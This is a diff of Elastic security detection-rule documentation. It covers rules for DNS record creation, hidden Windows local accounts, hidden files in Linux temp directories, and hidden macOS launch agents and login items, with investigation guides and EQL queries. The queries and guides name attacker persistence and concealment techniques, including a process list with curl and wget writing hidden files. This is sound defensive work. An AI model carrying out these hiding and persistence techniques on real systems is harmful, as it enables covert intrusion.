steps* + + +- Review the event logs for event code 5137 to identify the specific DNS-named record that was created and the associated timestamp. +- Examine the winlog.event_data.SubjectUserName field to determine the user account that initiated the DNS record creation, ensuring it is not a system account. +- Investigate the context around the winlog.event_data.ObjectClass field to confirm the object class is "dnsNode" and assess if the DNS record creation aligns with expected administrative activities. +- Check for any recent LLMNR/NBT-NS requests or network traffic that might indicate an attempt to exploit the newly created DNS record for spoofing purposes. +- Correlate the alert with other security events or logs to identify any patterns or anomalies that might suggest malicious intent or unauthorized access attempts. +- Assess the risk and impact of the DNS record creation by determining if it targets critical services like WPAD or other sensitive systems within the network. + + +*False positive analysis* + + +- Legitimate administrative actions may trigger the rule when DNS records are created or modified by IT staff. To manage this, create exceptions for known administrative accounts that regularly perform these tasks. +- Automated system processes or scripts that update DNS records can also cause false positives. Identify these processes and exclude their associated accounts from the rule to prevent unnecessary alerts. +- Service accounts used by legitimate applications to dynamically update DNS records might be flagged. Review these accounts and add them to an exception list if they are verified as non-threatening. +- Temporary network changes or testing environments where DNS records are frequently modified can lead to false positives. Consider excluding these environments or specific IP ranges from the rule to reduce noise. +- Regularly review and update the exception list to ensure it reflects current network and administrative practices, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious DNS record creation and potential spoofing attacks. +- Review and remove any unauthorized DNS records created by non-system accounts, focusing on those targeting services like WPAD. +- Reset credentials for any accounts that were potentially compromised or used in the attack to prevent further unauthorized access. +- Implement stricter access controls on DNS record creation within Active Directory to limit permissions to only necessary and trusted accounts. +- Monitor for any further suspicious DNS record creation events, particularly those involving non-system accounts, to detect and respond to potential follow-up attacks. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or services were affected. +- Conduct a post-incident review to identify gaps in detection and response, and update security policies and procedures to prevent similar incidents in the future. + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "5137" and winlog.event_data.ObjectClass == "dnsNode" and + not winlog.event_data.SubjectUserName : "*$" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ +* Sub-technique: +** Name: LLMNR/NBT-NS Poisoning and SMB Relay +** ID: T1557.001 +** Reference URL: https://attack.mitre.org/techniques/T1557/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-a-hidden-local-user-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-a-hidden-local-user-account.asciidoc new file mode 100644 index 0000000000..78b561b325 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-a-hidden-local-user-account.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-creation-of-a-hidden-local-user-account]] +=== Creation of a Hidden Local User Account + +Identifies the creation of a hidden local user account by appending the dollar sign to the account name. This is sometimes done by attackers to increase access to a system and avoid appearing in the results of accounts listing using the net users command. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://web.archive.org/web/20230329153858/https://blog.menasec.net/2019/02/threat-hunting-6-hiding-in-plain-sights_8.html +* https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/tree/master/2020/2020.12.15.Lazarus_Campaign + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Creation of a Hidden Local User Account* + + + +*Possible investigation steps* + + +- What hidden local account did the SAM write create? + - Why: a `$` suffix is ambiguous in many logs, but `registry.path` under `SAM\SAM\Domains\Account\Users\Names` is a local account-name entry and can be omitted from casual `net user` review. + - Focus: `registry.hive`, `registry.path`, `registry.key`, and `@timestamp` for the exact account name and creation time. + - Implication: high concern unless the exact `$`-suffixed account, `host.id`, and time fit one narrowly recognized provisioning or recovery workflow; lower concern only when creator, use, and scope checks do not contradict it. + +- Which process and parent caused the SAM entry? + - Focus: `process.entity_id`, `process.executable`, `process.command_line`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate for shells, script interpreters, remote-service launchers such as sc.exe, service-created cmd/net user chains, PsExec-like tools, user-writable binaries, or mismatched parents; lower concern only when creator path, parent, and arguments match one recognized account-management workflow. + +- Did the creator or its children perform other account, privilege, or persistence actions? + - Why: remote account creation can surface as a service-launched command, and the decisive `net user`, local-group, or cleanup action may be in the creator's process tree rather than the registry event alone. + - Focus: same-host registry and process activity for creator `process.entity_id` and child `process.parent.entity_id`: `process.command_line`, `registry.path`, `registry.value`, and `registry.data.strings`. !{investigate{"description":"","label":"Creator process and child activity on this host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Hint: if the parent is service-control or PsExec-like, keep service-created cmd/net user children in scope even when signed. + - Implication: escalate when the tree adds local-group membership, touches extra SAM or LSA paths, deletes staging commands, or creates other persistence; lower concern when activity stays limited to the recovered account inside the same recognized workflow. + +- Was the hidden account used by later process activity after creation? + - Why: remote or service use of `$`-suffixed accounts may leave little profile evidence, so process and session context carries more weight than profile artifacts. + - Focus: extract the account leaf from `registry.path`, then search same-host process starts after `@timestamp` where `user.name` matches it, reading `process.Ext.session_info.logon_type`, `process.executable`, and `process.command_line`. + - Hint: this pivot is manual unless the account name is normalized into a standalone alert field; avoid using the full SAM registry path as an account value. + - Implication: account use after creation strongly escalates when the account runs processes, appears in remote-interactive, network, service, or batch sessions, or launches administrative tooling; lower concern only when no process use appears and creator evidence fits a recognized provisioning path. + +- If local evidence is suspicious or unresolved, do recent same-actor or same-host alerts change scope? + - Focus: related alerts for creating `user.id` and `host.id`: account abuse, privilege escalation, remote execution, credential access, or additional persistence. + - Hint: use the creating-identity alert pivot. !{investigate{"description":"","label":"Alerts associated with the creating identity","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use the host alert pivot. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when the same actor or host has related account, persistence, or privilege alerts; keep local when history is clean and local evidence already fits one recognized workflow. + +- What disposition is supported? + - Escalate for unexpected account or creator lineage, privilege or cleanup activity, later account use, or wider scope; close only when same-host telemetry proves one exact recognized workflow, using records only as corroboration; preserve evidence and escalate when answers stay mixed or incomplete. + + +*False positive analysis* + + +- A pre-established local support-account provisioning or recovery workflow can create a `$`-suffixed local account, but close only on a complete telemetry match: exact `registry.path`, creator `process.executable`, `process.command_line`, parent process, `user.id`, and `host.id`, with no extra SAM, LSA, privilege-grant, or cleanup activity outside it. Use build, vendor, or maintenance records only to corroborate that match; never close or exception on records alone. +- Treat one-off interactive creation, remote service-created cmd.exe or net.exe, script-driven creation, and creation on ordinary workstations or servers as suspicious by default. Hidden support accounts elsewhere or a signed creator binary are not enough to close. +- Build exceptions only from the minimum confirmed workflow: exact hidden-account `registry.path`, stable creator executable and command pattern, parent workflow, `user.id`, and bounded `host.id` cohort. Avoid exceptions on all `$`-suffixed names, the SAM hive, `process.name` alone, or the rule name. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the exact account path, creator lineage, user, and host cohort that proved the recurring workflow. Keep any exception as narrow as that confirmed pattern. +- If suspicious but unconfirmed, export the alert, the triggering registry event, creator process details, current hidden-account state, privilege evidence found in process or registry review, and any process or session use by the hidden account before containment. Apply reversible actions first: disable the account, restrict its logon rights, or increase monitoring on the affected `host.id` and creating `user.id`; avoid deleting the account until evidence is preserved. +- If confirmed malicious, preserve account state, creator process lineage, and related registry or process artifacts first. Then isolate the host when its role allows, disable the hidden account, and contain the creating identity or remote source when the evidence identifies one. After preservation and containment, remove unauthorized privilege, SAM, LSA, service, or scheduled-task changes introduced around the same time. +- Post-incident hardening: restrict hidden support-account creation to controlled management tooling, audit the host for other local accounts ending in `$`, retain registry and process telemetry needed to reconstruct future account creation, and document blind spots around preexisting hidden accounts or later privilege grants. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type in ("change", "creation") and + registry.path : ( + "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\Names\\*$\\", + "\\REGISTRY\\MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\\*$\\", + "MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\\*$\\" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Users +** ID: T1564.002 +** Reference URL: https://attack.mitre.org/techniques/T1564/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-files-and-directories-via-commandline.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-files-and-directories-via-commandline.asciidoc new file mode 100644 index 0000000000..d2757829b7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-files-and-directories-via-commandline.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-creation-of-hidden-files-and-directories-via-commandline]] +=== Creation of Hidden Files and Directories via CommandLine + +Users can mark specific files as hidden simply by putting a "." as the first character in the file or folder name. Adversaries can use this to their advantage to hide files and folders on the system for persistence and defense evasion. This rule looks for hidden files or folders in common writable directories. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation of Hidden Files and Directories via CommandLine* + + +In Linux environments, files and directories prefixed with a dot (.) are hidden by default, a feature often exploited by adversaries to conceal malicious activities. Attackers may create hidden files in writable directories like /tmp to evade detection. The detection rule identifies suspicious processes creating such hidden files, excluding benign commands, to flag potential threats. This helps in uncovering stealthy persistence and defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to identify the command executed, focusing on the process.working_directory field to confirm if the hidden file was created in a common writable directory like /tmp, /var/tmp, or /dev/shm. +- Examine the process.args field to determine the specific hidden file or directory name created, and assess if it matches known malicious patterns or naming conventions. +- Check the process lineage by investigating the parent process to understand the context of how the hidden file creation was initiated and identify any potential malicious parent processes. +- Investigate the user account associated with the process to determine if it is a legitimate user or potentially compromised, and review recent activities by this user for any anomalies. +- Search for any additional hidden files or directories created around the same time or by the same process to identify further suspicious activities or artifacts. +- Correlate this event with other security alerts or logs from the same host to identify any related suspicious activities or patterns that could indicate a broader attack or compromise. + + +*False positive analysis* + + +- System maintenance scripts may create hidden files in directories like /tmp for temporary storage. Review these scripts and consider excluding them if they are verified as non-threatening. +- Development tools and processes, such as version control systems or build scripts, might generate hidden files for configuration or state tracking. Identify these tools and add them to the exclusion list if they are part of regular operations. +- Monitoring and logging tools may use hidden files to store temporary data or logs. Verify these tools and exclude them if they are essential for system monitoring. +- User-specific applications or scripts might create hidden files for legitimate purposes. Conduct a review of user activities and exclude known benign applications to reduce noise. +- Automated backup or synchronization services could generate hidden files as part of their operation. Confirm these services and exclude them if they are part of the expected environment setup. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes identified by the detection rule that are creating hidden files in the specified directories. +- Remove any hidden files or directories created by unauthorized processes in the /tmp, /var/tmp, and /dev/shm directories to eliminate potential persistence mechanisms. +- Conduct a thorough review of system logs and process execution history to identify any additional indicators of compromise or related malicious activities. +- Restore any affected files or system components from a known good backup to ensure system integrity. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar activities to improve detection and response capabilities for future incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.working_directory in ("/tmp", "/var/tmp", "/dev/shm") and +process.args regex~ """\.[a-z0-9_\-][a-z0-9_\-\.]{1,254}""" and +process.name like ( + "touch", "tee", "cp", "mv", "install", "dd", "vi", "vim", "nano", "truncate", "sed", "awk", "curl", "wget", + "ftp", "scp", "rsync", "sftp", "tar", "unzip", "gunzip", "7z", "bzip2", "xz", "python*", "php*", "perl*", + "ruby*", "node*", "java", "printf", "echo", "cat", ".*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-launch-agent-or-daemon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-launch-agent-or-daemon.asciidoc new file mode 100644 index 0000000000..e7ab81cde0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-launch-agent-or-daemon.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-creation-of-hidden-launch-agent-or-daemon]] +=== Creation of Hidden Launch Agent or Daemon + +Identifies the creation of a hidden launch agent or daemon. An adversary may establish persistence by installing a new launch agent or daemon which executes at login. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation of Hidden Launch Agent or Daemon* + + +Launch agents and daemons in macOS are background services that start at login or system boot, respectively, to perform various tasks. Adversaries exploit this by creating hidden agents or daemons to maintain persistence and evade defenses. The detection rule identifies suspicious creation of these services by monitoring specific system paths for new entries, alerting analysts to potential unauthorized persistence mechanisms. + + +*Possible investigation steps* + + +- Review the file path of the newly created launch agent or daemon to determine if it matches any known legitimate software installations or updates. +- Check the file creation timestamp to correlate with any recent user activities or system changes that might explain the creation of the file. +- Investigate the contents of the .plist file to identify the program or script it is set to execute, and assess whether it is a known or potentially malicious application. +- Examine the user account associated with the file path, especially if it is located in a user's Library directory, to determine if the user has a history of installing unauthorized software. +- Cross-reference the file path and associated executable with threat intelligence sources to identify any known indicators of compromise or malicious behavior. +- Look for any other recent file modifications or creations in the same directory that might indicate additional persistence mechanisms or related malicious activity. + + +*False positive analysis* + + +- System or application updates may create or modify launch agents or daemons as part of legitimate processes. Users can monitor update schedules and correlate alerts with known update activities to verify legitimacy. +- Some third-party applications install launch agents or daemons to provide background services or updates. Users should maintain an inventory of installed applications and their expected behaviors to identify benign entries. +- User-created scripts or automation tools might use launch agents or daemons for personal productivity tasks. Users can document and exclude these known scripts from monitoring to reduce noise. +- Administrative tools or security software might create temporary launch agents or daemons during scans or system maintenance. Users should verify the source and purpose of these entries and consider excluding them if they are part of routine operations. +- Regularly review and update exclusion lists to ensure they reflect current system configurations and software installations, minimizing the risk of overlooking new threats. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Identify and terminate any suspicious processes associated with the newly created launch agent or daemon using Activity Monitor or command-line tools like `launchctl`. +- Remove the unauthorized launch agent or daemon by deleting the corresponding `.plist` file from the identified path. Ensure the file is not recreated by monitoring the directory for changes. +- Conduct a thorough review of user accounts and permissions on the affected system to ensure no unauthorized accounts or privilege escalations have occurred. +- Restore the system from a known good backup if the integrity of the system is in question and further compromise is suspected. +- Escalate the incident to the security operations team for a deeper forensic analysis to determine the root cause and scope of the intrusion. +- Update and enhance endpoint detection and response (EDR) solutions to improve monitoring and alerting for similar persistence mechanisms in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "launch_daemon" and + Persistence.name : ".*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-login-item-via-apple-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-login-item-via-apple-script.asciidoc new file mode 100644 index 0000000000..eac02783c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-creation-of-hidden-login-item-via-apple-script.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-creation-of-hidden-login-item-via-apple-script]] +=== Creation of Hidden Login Item via Apple Script + +Identifies the execution of osascript to create a hidden login item. This may indicate an attempt to persist a malicious program while concealing its presence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation of Hidden Login Item via Apple Script* + + +AppleScript is a scripting language for automating tasks on macOS, including managing login items. Adversaries exploit this by creating hidden login items to maintain persistence without detection. The detection rule identifies suspicious use of `osascript` to create such items, focusing on command patterns that specify hidden attributes, thus flagging potential stealthy persistence attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of 'osascript' in the command line, specifically looking for patterns like "login item" and "hidden:true" to verify the alert's accuracy. +- Investigate the parent process of the 'osascript' execution to determine if it was initiated by a legitimate application or a potentially malicious source. +- Check the user account associated with the process to assess whether the activity aligns with typical user behavior or if it suggests unauthorized access. +- Examine recent login items and system logs to identify any new or unusual entries that could indicate persistence mechanisms being established. +- Correlate the event with other security alerts or logs from the same host to identify any related suspicious activities or patterns. +- If possible, retrieve and analyze the AppleScript code executed to understand its purpose and potential impact on the system. + + +*False positive analysis* + + +- Legitimate applications or scripts that automate login item management may trigger this rule. Review the process command line details to verify if the application is trusted. +- System administrators or IT management tools might use AppleScript for legitimate configuration tasks. Confirm if the activity aligns with scheduled maintenance or deployment activities. +- Users with advanced scripting knowledge might create custom scripts for personal use. Check if the script is part of a known user workflow and consider excluding it if verified as non-threatening. +- Frequent triggers from the same source could indicate a benign automation process. Implement exceptions for specific scripts or processes after thorough validation to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or data exfiltration. +- Terminate the suspicious osascript process identified in the alert to halt any ongoing malicious activity. +- Remove the hidden login item created by the osascript to eliminate the persistence mechanism. This can be done by accessing the user's login items and deleting any unauthorized entries. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review system logs and the user's recent activity to identify any other signs of compromise or related suspicious behavior. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring for osascript usage and login item modifications across the network to detect similar threats in 